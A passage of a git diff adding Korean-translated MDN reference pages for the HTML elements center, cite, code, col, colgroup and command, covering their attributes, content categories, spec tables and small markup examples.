+<p>이 HTML Center (<code>&lt;center&gt;</code>)요소는 또다른 블록요소을 포함하거나, 인라인요소(Inline)를 포함할 수 있는 <a href="/en-US/docs/HTML/Block-level_elements">블록속성(block-level)</a> 의 요소이다. 그리고 해당 &lt;center&gt; 요소안에 포함된 전체요소는  &lt;center&gt;의 내용안에 가운데 정렬이 된다. (통상적으로 {{HTMLElement("body")}}로 쓰임).</p>
+
+<p>이 태그는 HTML4(또는 XHTML 1)이후에는 잘사용되지 않고, CSS의 {{Cssxref("text-align")}} 속성이 즐겨 사용된다.  {{HTMLElement("div")}} 요소나 {{HTMLElement("p")}}요소 같은 블록속성이  있는 요소에 사용될 수 있다.또 다른 방법으로는 CSS속성을 사용하여 {{Cssxref("margin-left")}} 또는 {{Cssxref("margin-right")}} 또는 margin을 자동(Css("margin") 를 <code>0 auto)</code>으로 설정한다.</p>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 {{domxref("HTMLElement")}} 인터페이스를 구현합니다.</p>
+
+<div class="note">
+<p><strong>Implementation note:</strong> up to Gecko 1.9.2 inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element.</p>
+</div>
+
+<h2 id="Example_1" name="Example_1">예제 1</h2>
+
+<pre class="brush: html">&lt;center&gt;This text will be centered.
+&lt;p&gt;So will this paragraph.&lt;/p&gt;&lt;/center&gt;
+</pre>
+
+<h2 id="Example_2" name="Example_2">예제 2 (CSS 대안)</h2>
+
+<pre class="brush: html">&lt;div style="text-align:center"&gt;This text will be centered.
+&lt;p&gt;So will this paragraph.&lt;/p&gt;&lt;/div&gt;
+</pre>
+
+<h2 id="Example_3" name="Example_3">예제 3 (CSS 대안)</h2>
+
+<pre class="brush: html">&lt;p style="text-align:center"&gt;This line will be centered.&lt;br&gt;
+And so will this line.&lt;/p&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">메모</h2>
+
+<p>Applying {{Cssxref("text-align")}}<code>:center</code> to a<code> </code>{{HTMLElement("div")}} or {{HTMLElement("p")}} element centers the <em>contents</em> of those elements while leaving their overall dimensions unchanged.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{Cssxref("text-align")}}</li>
+ <li>{{Cssxref("display")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/cite/index.html b/files/ko/web/html/element/cite/index.html
new file mode 100644
index 0000000000..c620f162f3
--- /dev/null
+++ b/files/ko/web/html/element/cite/index.html
@@ -0,0 +1,143 @@
+---
+title: <cite>
+slug: Web/HTML/Element/cite
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+  - 인용
+  - 출처
+translation_of: Web/HTML/Element/cite
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;cite&gt;</code> 요소</strong>는 저작물의 출처를 표기할 때 사용하며, 제목을 반드시 포함해야 합니다.</span> 적절한 맥락 아래에서는 출처를 축약해서 표기할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/cite.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;cite&gt;</code> 요소의 저작물로는 다음과 같은 예제를 들 수 있습니다.</p>
+
+<div class="threecolumns" id="creative-works">
+<ul>
+ <li>책</li>
+ <li>논문</li>
+ <li>에세이</li>
+ <li>시</li>
+ <li>악보</li>
+ <li>음악</li>
+ <li>대본</li>
+ <li>영화</li>
+ <li>TV 쇼</li>
+ <li>게임</li>
+ <li>조각</li>
+ <li>그림</li>
+ <li>연극</li>
+ <li>공연</li>
+ <li>오페라</li>
+ <li>뮤지컬</li>
+ <li>전시회</li>
+ <li>판례</li>
+ <li>컴퓨터 프로그램</li>
+ <li>웹사이트</li>
+ <li>웹페이지</li>
+ <li>블로그 글과 댓글</li>
+ <li>게시판 글과 댓글</li>
+ <li>트윗</li>
+ <li>Facebook 글</li>
+ <li>성명서</li>
+ <li>기타 등등</li>
+</ul>
+</div>
+
+<p>W3C 명세는 <code>&lt;cite&gt;</code> 요소로 저작물의 출처를 표기할 때 저작자도 표기할 수 있음을 명시하고 있습니다. 그러나 정반대로, WHATWG 명세는 사람 이름을 어떤 상황에서도 <strong>절대</strong> 포함하지 말아야 한다고 적혀있다는 점을 알아두는 것이 좋습니다.</p>
+
+<p>{{htmlelement("blockquote")}}, {{htmlelement("q")}} 요소가 가진 인용문의 출처를 나타내려면 {{htmlattrxref("cite", "blockquote")}} 특성을 사용하세요.</p>
+
+<p>보통 브라우저는 <code>&lt;cite&gt;</code> 요소를 그릴 때 기울임꼴로 표현합니다. 기울임꼴을 제거하려면 CSS {{cssxref("font-style")}} 속성을 <code>&lt;cite&gt;</code>에 적용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;More information can be found in &lt;cite&gt;[ISO-0000]&lt;/cite&gt;.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p><cite>{{EmbedLiveSample("예제", 640, 60)}}</cite></p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.cite")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>긴 인용문을 위한 {{HTMLElement("blockquote")}} 요소.</li>
+ <li>인라인 인용문을 위한 {{HTMLElement("q")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/code/index.html b/files/ko/web/html/element/code/index.html
new file mode 100644
index 0000000000..2295588149
--- /dev/null
+++ b/files/ko/web/html/element/code/index.html
@@ -0,0 +1,109 @@
+---
+title: '<code>: 인라인 코드 요소'
+slug: Web/HTML/Element/code
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/code
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;code&gt;</code> 요소</strong>는 짧은 코드 조각을 나타내는 스타일을 사용해 자신의 콘텐츠를 표시합니다.</span> 기본 스타일은 {{glossary("user agent", "사용자 에이전트")}}의 고정폭 글씨체입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/code.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">만 포함합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;함수 &lt;code&gt;selectAll()&lt;/code&gt;는 입력 필드의 모든 텍스트를 선택하므로,
+사용자가 복사 혹은 삭제를 손쉽게 할 수 있습니다.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제", 640, 70)}}</p>
+
+<h2 id="참고">참고</h2>
+
+<p>여러 줄의 코드를 나타내려면 <code>&lt;code&gt;</code> 요소를 {{htmlelement("pre")}}로 감싸세요. 보통 상황에서 <code>&lt;code&gt;</code>는 코드 한 줄만 나타냅니다.</p>
+
+<p>CSS <code>code</code> 태그 선택자를 사용해 브라우저의 기본 글씨체를 바꿀 수 있습니다. 그러나 사용자 설정이 CSS보다 우선할 수도 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.code")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("var")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/col/index.html b/files/ko/web/html/element/col/index.html
new file mode 100644
index 0000000000..01223aa13c
--- /dev/null
+++ b/files/ko/web/html/element/col/index.html
@@ -0,0 +1,159 @@
+---
+title: <col>
+slug: Web/HTML/Element/col
+tags:
+  - Element
+  - HTML
+  - HTML tabular data
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/col
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;col&gt;</code> 요소</strong>는 표의 열을 나타내며, 열에 속하는 칸에 공통된 의미를 부여할 때 사용합니다.</span> {{htmlelement("colgroup")}} 안에서 찾을 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/col.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlattrxref("span", "colgroup")}} 특성을 지정하지 않은 {{HTMLElement("colgroup")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTableColElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd><code>&lt;col&gt;</code>이 차지할 열의 수를 나타내는 양의 정수. 기본값은 1입니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<p>The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each column cell content will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>, aligning the content to the left of the cell</li>
+  <li><code>center</code>, centering the content in the cell</li>
+  <li><code>right</code>, aligning the content to the right of the cell</li>
+  <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+ </ul>
+
+ <p>If this attribute is not set, its value is inherited from the {{htmlattrxref("align", "colgroup")}} of the {{HTMLElement("colgroup")}} element this <code>&lt;col&gt;</code> element belongs too. If there are none, the <code>left</code> value is assumed.</p>
+
+ <div class="note"><strong>Note: </strong>
+
+ <ul>
+  <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values:
+
+   <ul>
+    <li>Do not try to set the {{cssxref("text-align")}} property on a selector giving a <code>&lt;col&gt;</code> element. Because {{HTMLElement("td")}} elements are not descendant of the <code>&lt;col&gt;</code> element, they won't inherit it.</li>
+    <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector. Set <code>a</code> to zero and <code>b </code>to the position of the column in the table, e.g. <code>td:nth-child(2) { text-align: right; }</code> to right-align the second column.</li>
+    <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+   </ul>
+  </li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("background-color")}} property.</p>
+ </dd>
+ <dt>{{htmlattrdef("char")}} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "col")}} is not set to <code>char</code>, this attribute is ignored.</dd>
+ <dt>{{htmlattrdef("charoff")}} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <code>char</code> attribute.</dd>
+ <dt>{{htmlattrdef("valign")}} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><code>middle</code>, which will center the text in the cell;</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note:</strong>
+
+ <ul>
+  <li>Do not try to set the {{cssxref("vertical-align")}} property on a selector giving a <code>&lt;col&gt;</code> element. Because {{HTMLElement("td")}} elements are not descendant of the <code>&lt;col&gt;</code> element, they won't inherit it.</li>
+  <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector where a is the total number of the columns in the table and b is the ordinal position of the column in the table. Only after this selector the <code>vertical-align</code> property can be used.</li>
+  <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies a default width for each column in the current column group. In addition to the standard pixel and percentage values, this attribute might take the special form <code>0*</code>, which means that the width of each column in the group should be the minimum width necessary to hold the column's contents. Relative widths such as <code>0.5*</code> also can be used.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;col&gt;</code> 요소의 예제는 {{htmlelement("table")}} 요소 문서에서 볼 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.4.2', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.col")}}</p>
diff --git a/files/ko/web/html/element/colgroup/index.html b/files/ko/web/html/element/colgroup/index.html
new file mode 100644
index 0000000000..24993546d1
--- /dev/null
+++ b/files/ko/web/html/element/colgroup/index.html
@@ -0,0 +1,142 @@
+---
+title: <colgroup>
+slug: Web/HTML/Element/colgroup
+tags:
+  - Element
+  - HTML
+  - HTML tabular data
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/colgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;colgroup&gt;</code> 요소</strong>는 표의 열을 묶는 그룹을 정의합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/colgroup.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>{{htmlattrxref("span", "colgroup")}} 특성이 존재하는 경우 없음. {{glossary("empty element", "빈 요소")}}입니다.<br>
+    그렇지 않은 경우 0개 이상의 {{htmlelement("col")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>첫 번째 자식이 {{htmlelement("col")}} 요소이며, 바로 앞의 요소가 닫는 태그를 생략한 <code>&lt;colgroup&gt;</code> 요소가 아닐 때, 여는 태그를 생략할 수 있습니다.<br>
+    바로 뒤에 스페이스나 주석이 오지 않으면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("table")}} 요소. <code>&lt;colgroup&gt;</code>은 모든 {{HTMLElement("thead")}}, {{HTMLElement("th")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("tr")}} 요소 앞에 위치해야 하며, <code>&lt;table&gt;</code> 안에 {{htmlelement("caption")}} 요소가 존재하는 경우 <code>&lt;caption&gt;</code> 뒤에 와야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTableColElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>열 그룹의 배경색. '#' 문자로 시작하는 <a href="/ko/docs/Web/CSS/color_value#RGB_색상">6자리 16진수 RGB 코드</a> 또는 <a href="/ko/docs/Web/CSS/color_value#색상_키워드">사전 정의된 색상 키워드</a>를 사용할 수 있습니다.
+ <div class="note"><strong>참고:</strong> 표준 특성이 아니므로 사용하지 마세요. 배경색을 적용하려면 CSS {{cssxref("background-color")}} 특성을 사용해야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd><code>&lt;colgroup&gt;</code>이 차지할 열의 수를 나타내는 양의 정수. 기본값은 1입니다. 내부에 {{htmlelement("col")}} 요소가 존재하면 사용할 수 없습니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Do not use these attributes as they are obsolete (and not supported) in the latest standard.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{obsolete_inline}}</dt>
+ <dd>This attribute specifies the alignment of the content in a column group to a character. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "colgroup")}} is not set to <code>char</code>, this attribute is ignored, though it will still be used as the default value for the {{htmlattrxref("align", "col")}} of the {{HTMLElement("col")}} which are members of this column group.
+ <div class="note"><strong>Note: </strong>To achieve the same effect as the <code>char</code> attribute, in CSS3, you can use the character set using the <code>char</code> attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{obsolete_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment character specified by the <strong>char</strong> attribute.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{obsolete_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><code>middle</code>, which will center the text in the cell;</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>
+
+ <ul>
+  <li>Do not try to set the {{cssxref("vertical-align")}} property on a selector giving a {{HTMLElement("colgroup")}} element. Because {{HTMLElement("td")}} elements are not descendant of the {{HTMLElement("colgroup")}} element, they won't inherit it.</li>
+  <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector per column, where a is the total number of the columns in the table and b is the ordinal position of the column in the table. Only after this selector the {{cssxref("vertical-align")}} property can be used.</li>
+  <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;colgroup&gt;</code> 요소의 예제는 {{htmlelement("table")}} 요소 문서에서 볼 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'tables.html#edef-COLGROUP', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.colgroup")}}</p>
diff --git a/files/ko/web/html/element/command/index.html b/files/ko/web/html/element/command/index.html
new file mode 100644
index 0000000000..8353384f2a
--- /dev/null
+++ b/files/ko/web/html/element/command/index.html
@@ -0,0 +1,111 @@
+---
+title: <command>
+slug: Web/HTML/Element/command
+tags:
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/command
+---
+<div>{{obsolete_header()}}</div>
+
+<p><span class="seoSummary">The <strong>HTML Command element</strong> (<strong><code>&lt;command&gt;</code></strong>) represents a command which the user can invoke. Commands are often used as part of a context menu or toolbar.</span> However, they can be used anywhere on the page.</p>
+
+<div class="note">
+<p>The <code>&lt;command&gt;</code> element is included in the W3C specification, but not in the WHATWG specification, and browser support is nonexistent. You should use the {{HTMLElement("menuitem")}} element instead, although that element is non-standard and only supported in Edge and Firefox.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, metadata content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>The <span>start tag</span> is mandatory, but, as it is a void element, the <span>use of an end tag</span> is forbidden.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>{{HTMLElement("colgroup")}} only, though it can be implicitly defined as its start tag is not mandatory. The {{HTMLElement("colgroup")}} must not have a {{HTMLElement("span")}} as child.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLCommandElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>Indicates whether the command is selected. Must be omitted unless the <code>type</code> attribute is <code>checkbox </code>or <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Iindicates that the command is not available.</dd>
+ <dt>{{htmlattrdef("icon")}}</dt>
+ <dd>Gives a picture which represents the command.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>The name of the command as shown to the user.</dd>
+ <dt>{{htmlattrdef("radiogroup")}}</dt>
